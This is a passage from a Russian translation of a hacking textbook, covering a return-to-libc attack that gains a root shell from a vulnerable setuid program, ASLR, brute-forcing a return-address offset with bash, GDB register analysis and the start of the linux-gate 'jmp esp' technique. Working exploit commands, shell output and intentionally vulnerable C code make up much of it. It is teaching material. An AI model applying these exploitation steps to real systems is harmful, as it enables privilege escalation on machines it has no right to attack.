Главная страница
Навигация по странице:

  • 0x6c0 Рандомизация стековой памяти (ASLR)

  • 0x6c1 Анализ с помощью BASH и GDB

  • 0x6c2 Отскок от linux-gate

  • linux-gate.so.1 => (0xffffe000)

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница43 из 51
    1   ...   39   40   41   42   43   44   45   46   ...   51

    0x6b2 Возврат в system()
    Одна из простейших функций libc, в которую может происходить воз- врат, – это system(). Эта функция принимает единственный аргумент и выполняет этот аргумент через /bin/sh. В нашем примере рассматри- вается простая уязвимая программа.
    vuln.c
    int main(int argc, char *argv[])
    {
    char buffer[5];
    strcpy(buffer, argv[1]);
    return 0;
    }
    Разумеется, она станет уязвимой после компиляции и установки фла- га setuid.
    reader@hacking:

    /booksrc $ gcc -o vuln vuln.c reader@hacking:/booksrc $ sudo chown root ./vuln reader@hacking:/booksrc $ sudo chmod u+s ./vuln reader@hacking:/booksrc $ ls -l ./vuln
    -rwsr-xr-x 1 root reader 6600 2007-09-30 22:43 ./vuln

    420
    0x600 Противодействие reader@hacking:/booksrc $
    Идея в том, чтобы заставить уязвимую программу запустить оболоч- ку, не выполняя никаких команд в стеке, путем возврата в библиотеч- ную функцию system(). Если передать этой функции аргумент “/bin/
    sh”
    , она должна породить оболочку.
    Сначала надо определить местонахождение функции system() в библи- отеке libc. Для каждой машины оно будет своим, но не изменится, пока
    libc не будет перекомпилирована заново. Один из простейших спосо- бов выяснить адрес функции в
    libc – написать элементарную програм- му и запустить ее в отладчике, например:
    reader@hacking:/booksrc $ cat > dummy.c int main()
    { system(); }
    reader@hacking:/booksrc $ gcc -o dummy dummy.c reader@hacking:/booksrc $ gdb -q ./dummy
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) break main
    Breakpoint 1 at 0x804837a
    (gdb) run
    Starting program: /home/matrix/booksrc/dummy
    Breakpoint 1, 0x0804837a in main ()
    (gdb) print system
    $1 = {} 0xb7ed0d80
    (gdb) quit
    Здесь создана программа dummy, содержащая вызов функции system().
    После компиляции двоичный модуль открывается в отладчике и в на- чале программы задается точка останова. Запускается программа и вы- водится адрес функции system(). В данном случае функция system() на- ходится по адресу 0xb7ed0d80.
    Зная этот адрес, мы можем направить выполнение программы в функ- цию system() библиотеки libc. Однако требуется заставить уязвимую программу выполнить system(“/bin/sh”) и получить оболочку, поэтому надо передать функции аргумент. При возврате в libc адрес возврата и аргументы функции считываются из стека в уже знакомом формате: адрес возврата, за которым следуют аргументы. В стеке ret2libc-вызов должен выглядеть примерно как на рис. 6.2.
    Адрес возврата
    Аргумент 1
    Адрес функции
    Аргумент 2
    Аргумент 3 ...
    Рис. 6.2. Содержимое стека
    Сразу после адреса функции из libc расположен адрес, на который сле- дует передать управление после обращения к libc. За этим адресом воз- врата последовательно располагаются все аргументы функции.

    0x6c0 Рандомизация стековой памяти (ASLR)
    421
    В данном случае не имеет значения, куда передается управление по- сле обращения к libc, поскольку будет открыта интерактивная обо- лочка. Следовательно, эти четыре байта можно заполнить фиктивным значением FAKE. Аргумент только один, и он должен быть указателем на строку /bin/sh. Ее можно записать в любое место памяти. Прекрас- ный кандидат – переменная окружения. В следующем листинге этой строке предшествуют несколько пробелов. Они играют ту же роль, что и NOP-цепочка, давая возможность маневра, так как system(“ /bin/sh”) – то же самое, что system(“ /bin/sh”).
    reader@hacking:/booksrc $ export BINSH=” /bin/sh”
    reader@hacking:/booksrc $ ./getenvaddr BINSH ./vuln
    BINSH will be at 0xbffffe5b reader@hacking:/booksrc $
    Итак, адрес system() равен 0xb7ed0d80, а строка /bin/sh во время выпол- нения программы будет располагаться по адресу 0xbffffe5b. Это озна- чает, что вместо адреса возврата в стек надо записать ряд адресов на- чиная с 0xb7ecfd80, затем фиктивный FAKE (безразлично, куда перейдет управление после вызова system()) и в завершение 0xbffffe5b.
    Короткий перебор показывает, что адрес возврата в стеке перезаписы- вается, скорее всего, восьмым словом входных данных программы, по- этому в нашем эксплойте для заполнения понадобится семь слов фик- тивных данных.
    reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x5’)
    reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x10’)
    Segmentation fault reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x8’)
    Segmentation fault reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x7’)
    Illegal instruction reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x7 . “\x80\x0d\xed\
    xb7FAKE\x5b\xfe\xff\xbf”’)
    sh-3.2# whoami root sh-3.2#
    Эксплойт при необходимости можно расширить, создав цепочку вы- зовов libc. Адрес возврата FAKE можно изменить, направив выполнение программы в нужное место.
    0x6c0 Рандомизация стековой памяти (ASLR)
    В другом способе защиты применяется несколько иной подход. Он не запрещает выполнение в стеке, но структура памяти стека рандомизу- ется. Атакующий не может вернуть управление своему шелл-коду, по- тому что не знает, где он находится.

    422
    0x600 Противодействие
    В ядре Linux эта система включена начиная с версии 2.6.12, на загру- зочном диске для этой книги
    1
    она выключена. Чтобы снова включить данную защиту, запишите 1 в файловую систему /proc:
    reader@hacking:/booksrc $ sudo su - root@hacking: # echo 1 > /proc/sys/kernel/randomize_va_space root@hacking: # exit logout reader@hacking:/booksrc $ gcc exploit_notesearch.c reader@hacking:/booksrc $ ./a.out
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    -------[ end of note data ]------- reader@hacking:/booksrc $
    Если включить эту систему защиты, эксплойт notesearch перестает ра- ботать, потому что структура стека рандомизирована. При каждом за- пуске программы стек начинается в случайном месте. Это иллюстриру- ется следующим примером.
    aslr_demo.c
    #include
    int main(int argc, char *argv[]) {
    char buffer[50];
    printf(“buffer is at %p\n”, &buffer);
    if(argc > 1)
    strcpy(buffer, argv[1]);
    return 1;
    }
    В этой программе есть очевидная уязвимость переполнения буфера, но при включенной ASLR ее эксплойт не так прост.
    reader@hacking:/booksrc $ gcc -g -o aslr_demo aslr_demo.c reader@hacking:/booksrc $ ./aslr_demo buffer is at 0xbffbbf90
    reader@hacking:/booksrc $ ./aslr_demo buffer is at 0xbfe4de20
    reader@hacking:/booksrc $ ./aslr_demo buffer is at 0xbfc7ac50
    reader@hacking:/booksrc $ ./aslr_demo $(perl -e ‘print “ABCD”x20’)
    buffer is at 0xbf9a4920
    Segmentation fault reader@hacking:/booksrc $
    1
    www.symbol.ru/library/hacking-2ed. – Прим. ред.

    0x6c0 Рандомизация стековой памяти (ASLR)
    423
    Обратите внимание, как меняется адрес буфера в стеке при каждом за- пуске программы. Мы по-прежнему можем внедрить шелл-код и раз- рушить память, заменив адрес возврата, но мы не знаем, в каком месте памяти находится шелл-код. Рандомизация изменяет и положение пе- ременных окружения.
    reader@hacking:/booksrc $ export SHELLCODE=$(cat shellcode.bin)
    reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
    SHELLCODE will be at 0xbfd919c3
    reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
    SHELLCODE will be at 0xbfe499c3
    reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
    SHELLCODE will be at 0xbfcae9c3
    reader@hacking:/booksrc $
    Такой тип защиты может быть очень эффективным в борьбе с обычны- ми взломщиками, но для упорного хакера его может оказаться недо- статочно. Сможете ли вы придумать эксплойт этой программы и при таких условиях?
    0x6c1 Анализ с помощью BASH и GDB
    Раз ASLR не мешает нам калечить память, применим скрипт BASH, чтобы грубым перебором выяснить расстояние между адресом возвра- та и началом буфера. Когда программа завершает работу, статусом за- вершения является значение, возвращаемое функцией main. Этот ста- тус хранится в переменной BASH с именем $?, и по нему можно выяс- нить, было ли завершение программы аварийным.
    reader@hacking:/booksrc $ ./aslr_demo test buffer is at 0xbfb80320
    reader@hacking:/booksrc $ echo $?
    1
    reader@hacking:/booksrc $ ./aslr_demo $(perl -e ‘print “AAAA”x50’)
    buffer is at 0xbfbe2ac0
    Segmentation fault reader@hacking:/booksrc $ echo $?
    139
    reader@hacking:/booksrc $
    С помощью условного оператора можно прервать выполнение нашего скрипта, если он обрушит эту программу. Блок условного оператора if располагается между ключевыми словами then и fi; пробельные симво- лы обязательны. Команда break служит для выхода из цикла for.
    reader@hacking:/booksrc $ for i in $(seq 1 50)
    > do
    > echo “Trying offset of $i words”
    > ./aslr_demo $(perl -e “print ‘AAAA’x$i”)
    > if [ $? != 1 ]
    > then

    424
    0x600 Противодействие
    > echo “==> Correct offset to return address is $i words”
    > break
    > fi
    > done
    Trying offset of 1 words buffer is at 0xbfc093b0
    Trying offset of 2 words buffer is at 0xbfd01ca0
    Trying offset of 3 words buffer is at 0xbfe45de0
    Trying offset of 4 words buffer is at 0xbfdcd560
    Trying offset of 5 words buffer is at 0xbfbf5380
    Trying offset of 6 words buffer is at 0xbffce760
    Trying offset of 7 words buffer is at 0xbfaf7a80
    Trying offset of 8 words buffer is at 0xbfa4e9d0
    Trying offset of 9 words buffer is at 0xbfacca50
    Trying offset of 10 words buffer is at 0xbfd08c80
    Trying offset of 11 words buffer is at 0xbff24ea0
    Trying offset of 12 words buffer is at 0xbfaf9a70
    Trying offset of 13 words buffer is at 0xbfe0fd80
    Trying offset of 14 words buffer is at 0xbfe03d70
    Trying offset of 15 words buffer is at 0xbfc2fb90
    Trying offset of 16 words buffer is at 0xbff32a40
    Trying offset of 17 words buffer is at 0xbf9da940
    Trying offset of 18 words buffer is at 0xbfd0cc70
    Trying offset of 19 words buffer is at 0xbf897ff0
    Illegal instruction
    ==> Correct offset to return address is 19 words reader@hacking:/booksrc $
    Знание правильного смещения позволит нам перезаписать адрес воз- врата. Однако мы все равно не можем выполнить шелл-код, потому что его адрес случаен. С помощью GDB изучим программу в тот момент, когда она собирается вернуться из функции main.
    reader@hacking:/booksrc $ gdb -q ./aslr_demo

    0x6c0 Рандомизация стековой памяти (ASLR)
    425
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) disass main
    Dump of assembler code for function main:
    0x080483b4 : push ebp
    0x080483b5 : mov ebp,esp
    0x080483b7 : sub esp,0x58 0x080483ba : and esp,0xfffffff0 0x080483bd : mov eax,0x0 0x080483c2 : sub esp,eax
    0x080483c4 : lea eax,[ebp-72]
    0x080483c7 : mov DWORD PTR [esp+4],eax
    0x080483cb : mov DWORD PTR [esp],0x80484d4 0x080483d2 : call 0x80482d4 0x080483d7 : cmp DWORD PTR [ebp+8],0x1 0x080483db : jle 0x80483f4
    0x080483dd : mov eax,DWORD PTR [ebp+12]
    0x080483e0 : add eax,0x4 0x080483e3 : mov eax,DWORD PTR [eax]
    0x080483e5 : mov DWORD PTR [esp+4],eax
    0x080483e9 : lea eax,[ebp-72]
    0x080483ec : mov DWORD PTR [esp],eax
    0x080483ef : call 0x80482c4
    0x080483f4 : mov eax,0x1 0x080483f9 : leave
    0x080483fa : ret
    End of assembler dump.
    (gdb) break *0x080483fa
    Breakpoint 1 at 0x80483fa: file aslr_demo.c, line 12.
    (gdb)
    Точка останова установлена на последней команде. Эта команда воз- вращает EIP к адресу возврата, хранящемуся в стеке. Когда эксплойт перезаписывает адрес возврата, это последняя команда, выполняемая под управлением исходной программы. Посмотрим на состояние реги- стров в этом месте программы для нескольких пробных прогонов.
    (gdb) run
    Starting program: /home/reader/booksrc/aslr_demo
    buffer is at 0xbfa131
    a0
    Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
    demo.c:12 12 }
    (gdb) info registers eax 0x1 1
    ecx 0x0 0
    edx 0xb7f000b0 -1209007952
    ebx 0xb7efeff4 -1209012236
    esp 0xbfa131
    ec 0xbfa131ec ebp 0xbfa13248 0xbfa13248
    esi 0xb7f29ce0 -1208836896

    426
    0x600 Противодействие edi 0x0 0
    eip 0x80483fa 0x80483fa
    eflags 0x200246 [ PF ZF IF ID ]
    cs 0x73 115
    ss 0x7b 123
    ds 0x7b 123
    es 0x7b 123
    fs 0x0 0
    gs 0x33 51
    (gdb) run
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/reader/booksrc/aslr_demo
    buffer is at 0xbfd8e5
    20
    Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
    demo.c:12 12 }
    (gdb) i r esp
    esp
    0xbfd8e56c 0xbfd8e56c
    (gdb) run
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/reader/booksrc/aslr_demo
    buffer is at 0xbfaada
    40
    Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
    demo.c:12 12 }
    (gdb) i r esp
    esp 0xbfaada
    8c 0xbfaada8c
    (gdb)
    Посмотрите, как близок ESP к адресу буфера, несмотря на всю рандо- мизацию (строки, выделенные полужирным). Это понятно, потому что указатель стека указывает на стек, а буфер находится в стеке. Значе- ние ESP и адрес буфера изменились на одну и ту же случайную величи- ну, потому что они связаны между собой.
    Команда GDB stepi выполняет программу пошагово, по одной коман- де. С ее помощью мы узнаем значение ESP после того, как выполнит- ся команда ret.
    (gdb) run
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/reader/booksrc/aslr_demo buffer is at 0xbfd1ccb0
    Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
    demo.c:12 12 }

    0x6c0 Рандомизация стековой памяти (ASLR)
    427
    (gdb) i r esp esp 0xbfd1ccfc 0xbfd1ccfc
    (gdb) stepi
    0xb7e4debc in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
    (gdb) i r esp esp 0xbfd1cd00 0xbfd1cd00
    (gdb) x/24x 0xbfd1ccb0 0xbfd1ccb0: 0x00000000 0x080495cc 0xbfd1ccc8 0x08048291 0xbfd1ccc0: 0xb7f3d729 0xb7f74ff4 0xbfd1ccf8 0x08048429 0xbfd1ccd0: 0xb7f74ff4 0xbfd1cd8c 0xbfd1ccf8 0xb7f74ff4 0xbfd1cce0: 0xb7f937b0 0x08048410 0x00000000 0xb7f74ff4 0xbfd1ccf0: 0xb7f9fce0 0x08048410 0xbfd1cd58 0xb7e4debc
    0xbfd1cd00: 0x00000001
    0xbfd1cd84 0xbfd1cd8c 0xb7fa0898
    (gdb) p 0xbfd1cd00 - 0xbfd1ccb0
    $1 = 80
    (gdb) p 80/4
    $2 = 20
    (gdb)
    Пошаговое выполнение показывает, что команда ret увеличивает зна- чение ESP на 4. Вычитая значение ESP из адреса буфера, выясняем, что
    ESP указывает на 80 байт (или 20 слов) после начала буфера. Так как смещение адреса возврата составляло 19 слов, значит, после выполне- ния последней команды ret в main ESP указывает на память стека, нахо- дящуюся сразу за адресом возврата. Было бы хорошо, если б удалось за- ставить EIP пойти туда, куда указывает ESP.
    0x6c2 Отскок от linux-gate
    Описанный ниже прием не действует с ядрами Linux начиная с версии
    2.6.18. Он приобрел некоторую популярность, и разработчики ядра, естественно, внесли соответствующие исправления. На загрузочном диске книги
    1
    используется ядро 2.6.20, поэтому ниже приведен ли- стинг с машины loki, работающей под ядром Linux 2.6.17. Несмотря на то что данный прием не работает на загрузочном диске, его идеи можно применить другими полезными способами.
    При отскоке от linux-gate (bouncing off linux-gate) речь идет о разделя- емом объекте ядра, похожем на библиотеку совместного доступа. Про- грамма ldd показывает, какие разделяемые библиотеки нужны про- грамме. Заметите ли вы что-нибудь любопытное насчет библиотеки
    linux-gate в следующем листинге?
    matrix@loki /hacking $ $ uname -a
    Linux hacking 2.6.17 #2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU/Linux matrix@loki /hacking $ cat /proc/sys/kernel/randomize_va_space
    1
    matrix@loki /hacking $ ldd ./aslr_demo
    1
    www.symbol.ru/library/hacking-2ed. – Прим. ред.

    428
    0x600 Противодействие
    linux-gate.so.1 => (0xffffe000)
    libc.so.6 => /lib/libc.so.6 (0xb7eb2000)
    /lib/ld-linux.so.2 (0xb7fe5000)
    matrix@loki /hacking $ ldd /bin/ls
    linux-gate.so.1 => (0xffffe000)
    librt.so.1 => /lib/librt.so.1 (0xb7f95000)
    libc.so.6 => /lib/libc.so.6 (0xb7e75000)
    libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)
    /lib/ld-linux.so.2 (0xb7fb1000)
    matrix@loki /hacking $ ldd /bin/ls
    linux-gate.so.1 => (0xffffe000)
    librt.so.1 => /lib/librt.so.1 (0xb7f50000)
    libc.so.6 => /lib/libc.so.6 (0xb7e30000)
    libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)
    /lib/ld-linux.so.2 (0xb7f6c000)
    matrix@loki /hacking $
    В разных программах даже при включенной системе ASLR библиотека
    linux-gate.so.1 всегда располагается по одному и тому же адресу. Это вир- туальный динамически разделяемый объект, с помощью которого ядро ускоряет системные вызовы, а это значит, что он нужен в каждом про- цессе. Он загружается прямо из ядра и отсутствует где-либо на диске.
    Существенно, что в каждом процессе есть блок памяти, в котором на- ходятся команды linux-gate, и они всегда располагаются по одному и тому же адресу даже при включенной ASLR. Мы попробуем найти в этом участке памяти одну специальную команду ассемблера, а имен- но jmp esp. Эта команда переводит EIP туда, куда указывает ESP.
    Сначала ассемблируем эту команду, чтобы посмотреть, как она выгля- дит в машинном коде.
    matrix@loki /hacking $ cat > jmpesp.s
    BITS 32
    jmp esp matrix@loki /hacking $ nasm jmpesp.s matrix@loki /hacking $ hexdump -C jmpesp
    00000000 ff e4 |..|
    00000002
    matrix@loki /hacking $
    Получив эти сведения, напишем простую программу, которая найдет эту пару в своей собственной памяти.
    1   ...   39   40   41   42   43   44   45   46   ...   51


    написать администратору сайта